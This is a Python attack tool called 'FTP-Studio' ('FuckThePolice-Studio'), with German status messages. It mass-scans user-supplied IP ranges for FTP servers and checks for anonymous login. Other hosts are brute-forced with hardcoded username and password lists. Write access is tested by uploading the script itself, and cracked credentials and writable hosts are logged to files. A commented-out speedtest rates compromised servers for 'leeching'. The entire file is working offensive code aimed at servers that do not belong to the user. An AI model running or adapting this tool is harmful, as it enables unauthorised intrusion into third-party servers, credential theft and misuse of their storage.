"""
FTP-Studio
 
FuckThePolice-Studio
 
Coded by DAMiEN aka stylez
usage: python3 ftpstudio.py -rf rangefile
rangefile has to look like below:
123.123.123.123-123.123.123.124
124.124.124.124-125.125.125.125
...
or
123.0.0.0/8
124.0.0.0/8
...
automatic portscan, check for anonftp and 'bruteforce' + check for upload permission
 
v1.0
"""
import ipaddress
import socket
import sys
import threading
import os
import time
 
threads = 600
if not os.path.exists('5M.bin') == True:
    f = open('5M.bin','wb')
    f.write(b'\x01'*5120000)
    f.close()
 
def StripPassive(string):
    try:
        string = string.strip(').\r\n')
        return string
    except:
        string = string.strip(')\r\n')
        return string
 
def Speedtest(host,username,password):
    try:
        s = socket.socket() # same as above
        s.settimeout(3) # same as above
        target = (host,21) # same as above
        usr = "USER "+username+"\r\n" # same as above
        pwd = "PASS "+password+"\r\n" # same as above
        mode = "TYPE I\r\n" # list with commands that will be used to initiate filetransfer
        psv = "PASV\r\n"
        stor = "STOR 5M.bin\r\n"
        retr = "RETR 5M.bin\r\n"
        sz = "SIZE 5M.bin\r\n "
        s.connect(target)
        s.recv(4096)
        s.send(usr.encode())
        s.recv(4096)
        s.send(pwd.encode())
        s.recv(4096)
        s.send(mode.encode())
        s.recv(4096)
        s.send(psv.encode())
        a = s.recv(8172)
        SRV = a.decode('utf-8').partition('(')
        SRV = StripPassive(SRV[2])
        SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
        SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
        PRT = int(SRV[4])*256
        PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
        s.send(stor.encode())
        w = s.recv(4096)
        if "553" in w.decode('utf-8'):
            s.close()
            print("Keine Schreibrechte! ): \n") # print we got no permission
        else:
            t_start = time.time()
            ST = socket.socket() # create another socket
            ST.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode
            F = open('5M.bin','rb') # open file 1MB.bin in read and binary mode
            tra = F.read() # read first 4096 bytes of our opened file
            ST.sendall(tra) # send all read bytes to the server
            F.close() # if the loop is finished, close the file.
            ST.close() # close our passive mode socket.
            a = s.recv(8172) # receive status code after transfer
            if "226" in a.decode('utf-8'): # if it's completed without errors
                t_end = time.time()
                t_total = t_end-t_start
                upspeed = 5/t_total
                print("Server "+host+" kann mit "+str(upspeed)+" mb/s leechen.\n")
                s.recv(4096) 
                s.send(sz.encode()) # check for file
                w = s.recv(4096) # if it's there
                if "213" in w.decode('utf-8'):
                    s.send(psv.encode()) # going to passive mode
                    a = s.recv(8172) # retrieve data
                    SRV = a.decode('utf-8').partition('(')
                    SRV = StripPassive(SRV[2])
                    SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
                    SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
                    PRT = int(SRV[4])*256
                    PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
                    SD = socket.socket() # create another socket
                    SD.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode                    
                    SD.send(retr.encode()) # telling to download the file
                    t_start = time.time() # getting actual time
                    fn = time.time()
                    r = open(str(fn),'wb') # opening temporary file
                    while True: # while we moving 1 byte to another we 
                        data = SD.recv(1024)
                        if data == 'EOF'.encode():
                            break
                        r.write(data) # write those zeros and ones to the temporary file
                    r.close()
                    print("Download abgeschlossen.\n")
                    SD.close() # closing the second data connection
                    w = s.recv(4096) # retrieving the status if file was transferred successfully
                    if "226" in w.decode('utf-8'):                    
                        t_end = time.time()
                        t_total = t_end-t_start
                        downspeed = 5/t_total
                    os.remove(str(fn))
                elif "550" in w.decode('utf-8'):
                    print("File nicht gefunden! ):\n")
                open('speedtest_completed','a').write(host+" "+str(upspeed)+"mb/s UP / "+str(downspeed)+"mb/s DOWN.\n") # log result with download and upload speeds rated in megabyte per second
                print("[] Speedtest abgeschlossen, Nase voll! IP: "+host+" (: []\n") # print that we got write permission to /
                s.close() # close socket
                 
    except: # if error
        print("Failed on IP:"+host+"! ): \n") # print failed    
 
def CheckIfOpen(ip):
    s = socket.socket() #creating socket
    s.settimeout(0.8) # setting timeout
    target = (ip,21) #define where to connect to
    try: # try to connect and log successfully
        usr = "USER anonymous\r\n" # set USER command for FTP-Connection
        pwd = "PASS anonymous\r\n"# set PASSWORD command for FTP-Connection
        syst = "SYST\r\n"
        s.connect(target) # connect
        s.recv(4096) #receive login message
        s.sendall(usr.encode()) # send encoded username
        answer = s.recv(4096) # receiver answer for trying to authenticate
        if "331" in answer.decode('utf-8'): # check if we are allowed to login
            s.sendall(pwd.encode()) # send password if we are able to login as anonymous
            check = s.recv(4096) # receive answer if auth was successful
            if "230" in check.decode('utf-8'): # if login was valid
                s.sendall(syst.encode())
                c = s.recv(4096)
                print(ip+" Found Pub! Saved! (: \n") # print that we found something
                if "NT" in c.decode('utf-8'):
                    w = open('nt_pub','a') # write the result to file
                    w.write(ip+"\n") # 
                    w.close() # close the file
                elif "UNIX" in c.decode('utf-8'):
                    w = open('unix_pub','a')
                    w.write(ip+"\n")
                    w.close()
                s.close() # close the connection
            elif "530" in check.decode('utf-8'): # same as above
                print(ip+" Not Anonymous. Saved! >.>\n") # print that access is denied
                w = open('ftp2brute','a') # open logfile for results that could be bruteforced
                w.write(ip+"\n") # write to log
                w.close() # close file
                s.close() # close connection
        elif "230" in answer.decode('utf-8'): # if we can login without password, just by typing anonymous as username
            print(ip+" Found Pub! Saved!") # print we found sth.
            w = open('found_pub','a')
            w.write(ip+"\n") # write result to file
            w.close()
            s.close() #close socket
    except: # if no success
        print("Host "+ip+" not reachable! ): \n") # print we did not reach an open port
        s.close() # close socket
 
def BruteforceFTP(ip):
    users = ["test","ftp","ftpuser","admin","manager","sysadmin","user","pub","root","instrument","nobody","newuser"] #userlist
    passwords = ["test","ftp","ftpuser","admin","password","ftp123","123","abc123","manager","sysadmin","pub","root","user","instrument","xampp","wampp"] #passwordlist
    target = (ip,21) # same as above
    s = socket.socket() #same as above
    s.settimeout(1.5) # same as above
    for user in users: # iterate userlist
        for password in passwords: #iterate passwords
            usr = "USER "+user+"\r\n" # authentication step 1
            pwd = "PASS "+password+"\r\n" #authentication step 2 with line feed to complete command
            qt = "QUIT\r\n"
            try:
                s.connect(target)
                s.recv(4096) # receive login message else no login would be possible
                s.sendall(usr.encode()) # encode the step1 to bytes and send it
                s.recv(4096) # receive answer so we can send step2
                s.sendall(pwd.encode()) # send step2
                answer = s.recv(4096) # retrieve message into variable for if-statement
                if "230" in answer.decode('utf-8'): # check if login successful
                    print("Found Login! Combo: "+user+"/"+password+" on IP: "+ip+"!\nSchreibrechte testen! (: \n") # print that we found something
                    s.send(qt.encode())
                    s.recv(4096)
                    s.close() # close socket
                    W = open('bruted_ftp','a')
                    W.write(ip+" Login: "+user+"/"+password+"\n")
                    W.close()
                    d = socket.socket() # same as above
                    d.settimeout(10) # same as above
                    target = (ip,21) # same as above
                    usr = "USER "+user+"\r\n" # same as above
                    pwd = "PASS "+password+"\r\n" # same as above
                    mode = "TYPE I\r\n" # list with commands that will be used to initiate filetransfer
                    psv = "PASV\r\n"
                    stor = "STOR ftpstudio.py\r\n"
                    d.connect(target)
                    d.recv(4096)
                    d.send(usr.encode())
                    d.recv(4096)
                    d.send(pwd.encode())
                    d.recv(4096)
                    d.send(mode.encode())
                    d.recv(4096)
                    d.send(psv.encode())
                    a = d.recv(8172)
                    SRV = a.decode('utf-8').partition('(')
                    SRV = StripPassive(SRV[2])
                    SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
                    SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
                    PRT = int(SRV[4])*256
                    PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
                    d.send(stor.encode())
                    w = d.recv(4096)
                    if "553" in w.decode('utf-8'):
                        d.close()
                        print("Keine Schreibrechte! ): \n") # print we got no permission
                    else:
                        ST = socket.socket() # create another socket
                        ST.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode
                        F = open('ftpstudio.py','rb') # open file 1MB.bin in read and binary mode
                        tra = F.read() # read first 4096 bytes of our opened file
                        ST.sendall(tra) # send all read bytes to the server
                        F.close() # if the loop is finished, close the file.
                        ST.close() # close our passive mode socket.
                        a = d.recv(8172) # receive status code after transfer
                        if "226" in a.decode('utf-8'): # if it's completed without errors
                            open('writable_ftps','a').write(ip+" "+user+":"+password+"\n") # log result
                            print("[] Schreibrechte vorhanden! IP: "+ip+" (: []\n") # print that we got write permission to /
                            d.close() # close socket
                            break # exit passwords iteration for new user
                        elif "530" in answer.decode('utf-8'): # if login was denied
                            print("Failed login on IP: "+ip+"! ):\n") # print that it was not successful
                            d.close() # forcing to close the connection 
            except: # if an error occured like no ftp service or blacklisted
                pass # go on with next result
 
def CheckForWritable(ip):
    try:
        s = socket.socket() # same as above
        s.settimeout(10) # same as above
        target = (ip,21) # same as above
        usr = "USER anonymous\r\n" # same as above
        pwd = "PASS anonymous\r\n" # same as above
        mode = "TYPE I\r\n" # list with commands that will be used to initiate filetransfer
        psv = "PASV\r\n"
        stor = "STOR ftpstudio.py\r\n"
        s.connect(target)
        s.recv(4096)
        s.send(usr.encode())
        s.recv(4096)
        s.send(pwd.encode())
        s.recv(4096)
        s.send(mode.encode())
        s.recv(4096)
        s.send(psv.encode())
        a = s.recv(8172)
        SRV = a.decode('utf-8').partition('(')
        SRV = StripPassive(SRV[2])
        SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
        SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
        PRT = int(SRV[4])*256
        PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
        s.send(stor.encode())
        w = s.recv(4096)
        if "553" in w.decode('utf-8'):
            s.close()
            print("Keine Schreibrechte! ): \n") # print we got no permission
        else:
            ST = socket.socket() # create another socket
            ST.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode
            F = open('ftpstudio.py','rb') # open file 1MB.bin in read and binary mode
            tra = F.read() # read first 4096 bytes of our opened file
            ST.sendall(tra) # send all read bytes to the server
            F.close() # if the loop is finished, close the file.
            ST.close() # close our passive mode socket.
            a = s.recv(8172) # receive status code after transfer
            if "226" in a.decode('utf-8'): # if it's completed without errors
                open('writable_pubs','a').write(ip+"\n") # log result
                print("[] Schreibrechte vorhanden! IP: "+ip+" (: []\n") # print that we got write permission to /
                s.close() # close socket
    except: # if error
        print("Failed on IP:"+ip+"! ): \n") # print failed
 
if sys.argv[1] == "-rf": # if second parameter (first after filename) is -rf
    f = open(sys.argv[2]).read().splitlines() # read the third parameter as a file
    for rng in f: # iterate the ranges from the file specified after -rf
        if "-" in rng: # if we use none-cidr notation
                r = rng.split("-") # split to define start and end ip
                start = ipaddress.IPv4Address(r[0]) # start ip
                end = ipaddress.IPv4Address(r[1]) # end ip
                for address in range(int(start),int(end)+1): # calculate the integers of our both ips and count towards end ip using integers
                    ip = ipaddress.IPv4Address(address) # making an ip from our integer
                    T = threading.Thread(target=CheckIfOpen,args=(str(ip),)) # passing our ip as a readable string to our portscan function with thread
                    if threading.active_count() <= threads: # if current threads are lesser than or equal our maximum
                        T.start() # start the thread
                    else: # if it would be more than our maximum
                        T.start() # start the thread
                        T.join() # join the thread so we got space to start new threads
        elif "/" in rng: # if cidr notation is used
                l = list(ipaddress.IPv4Network(rng)) # construct a list of our hosts in the determined subnet
                for address in l: # iterate the hosts
                    ip = str(address) # building ip to string
                    T = threading.Thread(target=CheckIfOpen,args=(ip,)) # same as above
                    if threading.active_count() <= threads: # same as above
                        T.start() # same as above
                    else: # same as above
                        T.start() # same as above
                        T.join() # same as above
    T.join() # same as above
    print("Jetzt werden Logins gecheckt! (: \n") # same as above
    b = open('ftp2brute').read().splitlines() # same as above
    if len(b) > 0: # same as above
        for i in b: # same as above
            B = threading.Thread(target=BruteforceFTP,args=(i,)) # same as above
            if threading.active_count() <= threads: # same as above
                B.start() # same as above
            else: # same as above
                B.start() # same as above
                B.join() # same as above
        B.join() # same as above
    else: # same as above
        print("Keine FTPs die man bruten kann! ): \n") # same as abov
    print("Checke Pubs auf Schreibrechte! (: \n") # same as above
    p = open('nt_pub').read().splitlines() # same as 
    T = open('unix_pub').read().splitlines()
    if len(p) > 0: # same as above
        for i in p: # same as above
            P = threading.Thread(target=CheckForWritable,args=(i,)) # same as above
            if threading.active_count() <= threads: # same as above
                P.start() # same as above
            else: # same as above
                P.start() # same as above
                P.join() # same as above
        P.join() # same as above
    else: # same as above
        print("Keine Pubs zum checken! ): \n") # same as above
    if len(T) > 0: # same as above
        for i in T: # same as above
            P = threading.Thread(target=CheckForWritable,args=(i,)) # same as above
            if threading.active_count() <= threads: # same as above
                P.start() # same as above
            else: # same as above
                P.start() # same as above
                P.join() # same as above
        P.join() # same as above
    else: # same as above
        print("Keine Pubs zum checken! ): \n") # same as above
    #print("[] Kommen wir zum Nasenpeitschen! []\n")
    #if os.path.exists('writable_ftps') == True:
    #    F = open('writable_ftps','r').read().splitlines()
    #    for RESULT in F:
    #        R1 = RESULT.split(" ")
    #        R2 = R1[1].split(":")
    #        S = threading.Thread(target=Speedtest,args=(R1[0],R2[0],R2[1],))
    #        if threading.active_count() < 5:
    #            S.start()
    #        else:
    #            S.start()
    #            S.join()
    #    print("[$] FTPs mit Speedtest fertig! [$]")
    if os.path.exists('writable_pubs') == True:
        #F = open('writable_pubs','r').read().splitlines()
        #for RESULT in F:
        #    S = threading.Thread(target=Speedtest,args=(RESULT,"anonymous","anonymous",))
        #    if threading.active_count() < 5:
        #        S.start()
        #    else:
        #        S.start()
        #        S.join()
        print("[$] Pubs mit Speedtest fertig! [$]")
    print("Fertig!\n") # print that we are finished
    os._exit(1) # exit the program